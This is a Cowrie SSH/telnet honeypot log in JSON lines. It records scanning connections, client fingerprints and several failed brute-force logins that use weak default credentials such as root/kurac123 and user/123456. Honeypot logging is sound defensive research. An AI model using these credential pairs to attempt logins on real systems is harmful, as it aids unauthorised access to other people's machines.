{"eventid":"cowrie.session.closed","duration":12.750582933425903,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:31.700037Z","src_ip":"136.158.61.194","session":"178b725d151a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038179874420166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:32.964906Z","src_ip":"161.132.53.68","session":"98f6bb857a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36402916908264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:35.270860Z","src_ip":"174.142.104.49","session":"ece6fa68c98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50454,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ddc2e685b3a","protocol":"telnet","message":"New connection: 161.132.53.68:50454 (159.203.135.109:23) [session: 3ddc2e685b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:35.520473Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38124,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cc1f9e25f38","protocol":"telnet","message":"New connection: 193.22.147.168:38124 (10.17.0.5:23) [session: 5cc1f9e25f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:37.708046Z"}
{"eventid":"cowrie.session.closed","duration":31.60530924797058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:41.250353Z","src_ip":"161.132.53.68","session":"4720eaa1a096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a20aeb8d315","protocol":"telnet","message":"New connection: 193.22.147.168:47490 (10.17.0.5:23) [session: 4a20aeb8d315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:42.713057Z"}
{"eventid":"cowrie.session.closed","duration":31.551889657974243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:43.305345Z","src_ip":"161.132.53.68","session":"e378657c3e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6997230052948,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:45.396112Z","src_ip":"161.132.53.68","session":"af1ac11dea8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.304065465927124,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:47.000415Z","src_ip":"193.22.147.168","session":"d1c587ac8050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08745789527893,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:47.813308Z","src_ip":"161.132.53.68","session":"ed74dcb7b3d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b2da87fae2","protocol":"telnet","message":"New connection: 193.22.147.168:47500 (10.17.0.5:23) [session: d7b2da87fae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:47.956105Z"}
{"eventid":"cowrie.session.closed","duration":32.69578766822815,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:48.033329Z","src_ip":"193.22.147.168","session":"ab97d918c1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":57366,"dst_ip":"159.203.135.109","dst_port":22,"session":"05258cff4310","protocol":"ssh","message":"New connection: 200.105.172.184:57366 (159.203.135.109:22) [session: 05258cff4310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:48.691441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:48.699333Z","src_ip":"200.105.172.184","session":"05258cff4310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:48.815249Z","src_ip":"200.105.172.184","session":"05258cff4310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de540e00a51","protocol":"telnet","message":"New connection: 193.22.147.168:47512 (10.17.0.5:23) [session: 2de540e00a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:48.975582Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kurac123","message":"login attempt [root/kurac123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:49.308067Z","src_ip":"200.105.172.184","session":"05258cff4310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:50.572271Z","src_ip":"200.105.172.184","session":"05258cff4310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e394e061c632","protocol":"telnet","message":"New connection: 193.22.147.168:47488 (10.17.0.5:23) [session: e394e061c632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:53.388729Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":57137,"dst_ip":"10.17.0.5","dst_port":22,"session":"4301c0d56045","protocol":"ssh","message":"New connection: 193.46.255.86:57137 (10.17.0.5:22) [session: 4301c0d56045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:54.470248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:54.475010Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:54.616472Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:55.256418Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:56.401444Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af6a0c3b29d","protocol":"telnet","message":"New connection: 193.22.147.168:47492 (10.17.0.5:23) [session: 0af6a0c3b29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:57.406256Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:57.550104Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":47502,"dst_ip":"10.17.0.5","dst_port":23,"session":"464f333df449","protocol":"telnet","message":"New connection: 193.22.147.168:47502 (10.17.0.5:23) [session: 464f333df449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:57.691970Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:58.695119Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.18825173377991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:59.207938Z","src_ip":"193.22.147.168","session":"5067d36039bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:59.839598Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:00.984829Z","src_ip":"193.46.255.86","session":"4301c0d56045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.16021800041199,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:01.091617Z","src_ip":"193.22.147.168","session":"d1217789d87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.73.196.189","src_port":13543,"dst_ip":"10.17.0.5","dst_port":23,"session":"673912f8603b","protocol":"telnet","message":"New connection: 187.73.196.189:13543 (10.17.0.5:23) [session: 673912f8603b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:01.442227Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ad748f437e","protocol":"telnet","message":"New connection: 193.22.147.168:37370 (10.17.0.5:23) [session: 30ad748f437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:03.597123Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":41692,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f53421553fb","protocol":"ssh","message":"New connection: 165.154.6.69:41692 (159.203.135.109:22) [session: 8f53421553fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:07.081393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:07.086253Z","src_ip":"165.154.6.69","session":"8f53421553fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4864ecbc00","protocol":"telnet","message":"New connection: 193.22.147.168:37372 (10.17.0.5:23) [session: 9b4864ecbc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:07.278285Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:07.304420Z","src_ip":"165.154.6.69","session":"8f53421553fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0877206325531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:07.608053Z","src_ip":"161.132.53.68","session":"3ddc2e685b3a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@$$W0rd","message":"login attempt [root/p@$$W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:08.207667Z","src_ip":"165.154.6.69","session":"8f53421553fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82042407989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:08.528379Z","src_ip":"193.22.147.168","session":"5cc1f9e25f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:09.430046Z","src_ip":"165.154.6.69","session":"8f53421553fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44654,"dst_ip":"10.17.0.5","dst_port":23,"session":"5153070a3006","protocol":"telnet","message":"New connection: 193.22.147.168:44654 (10.17.0.5:23) [session: 5153070a3006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:12.214193Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"911b333ab7f0","protocol":"telnet","message":"New connection: 193.22.147.168:44664 (10.17.0.5:23) [session: 911b333ab7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:14.030265Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44638,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f74dac8b75","protocol":"telnet","message":"New connection: 193.22.147.168:44638 (10.17.0.5:23) [session: 74f74dac8b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:14.270065Z"}
{"eventid":"cowrie.session.closed","duration":32.80756688117981,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:15.520533Z","src_ip":"193.22.147.168","session":"4a20aeb8d315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.165135145187378,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:15.607224Z","src_ip":"187.73.196.189","session":"673912f8603b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":57780,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f4a2eff4f9","protocol":"ssh","message":"New connection: 96.78.175.36:57780 (10.17.0.5:22) [session: 78f4a2eff4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:19.285753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:19.294329Z","src_ip":"96.78.175.36","session":"78f4a2eff4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:19.380098Z","src_ip":"96.78.175.36","session":"78f4a2eff4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39410,"dst_ip":"159.203.135.109","dst_port":23,"session":"82bdc400ef39","protocol":"telnet","message":"New connection: 161.132.53.68:39410 (159.203.135.109:23) [session: 82bdc400ef39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:19.553409Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testing","message":"login attempt [ubuntu/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:19.737026Z","src_ip":"96.78.175.36","session":"78f4a2eff4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.168833017349243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:20.144307Z","src_ip":"193.22.147.168","session":"2de540e00a51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:20.833240Z","src_ip":"96.78.175.36","session":"78f4a2eff4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.25308871269226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:21.209100Z","src_ip":"193.22.147.168","session":"d7b2da87fae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43300,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee4134c4f28","protocol":"telnet","message":"New connection: 193.22.147.168:43300 (10.17.0.5:23) [session: 7ee4134c4f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:24.118826Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9090a33cc1a7","protocol":"telnet","message":"New connection: 161.132.53.68:39420 (159.203.135.109:23) [session: 9090a33cc1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:24.500381Z"}
{"eventid":"cowrie.session.closed","duration":32.55381894111633,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:25.942432Z","src_ip":"193.22.147.168","session":"e394e061c632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.859819173812866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:30.551664Z","src_ip":"193.22.147.168","session":"464f333df449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34609580039978,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:30.752234Z","src_ip":"193.22.147.168","session":"0af6a0c3b29d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0de8593e97","protocol":"telnet","message":"New connection: 193.22.147.168:43312 (10.17.0.5:23) [session: ee0de8593e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:31.097515Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d52b18903f","protocol":"telnet","message":"New connection: 104.245.105.2:56296 (10.17.0.5:23) [session: b0d52b18903f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:35.551039Z"}
{"eventid":"cowrie.session.closed","duration":32.91571831703186,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:54:36.512705Z","src_ip":"193.22.147.168","session":"30ad748f437e","protocol":"telnet"}
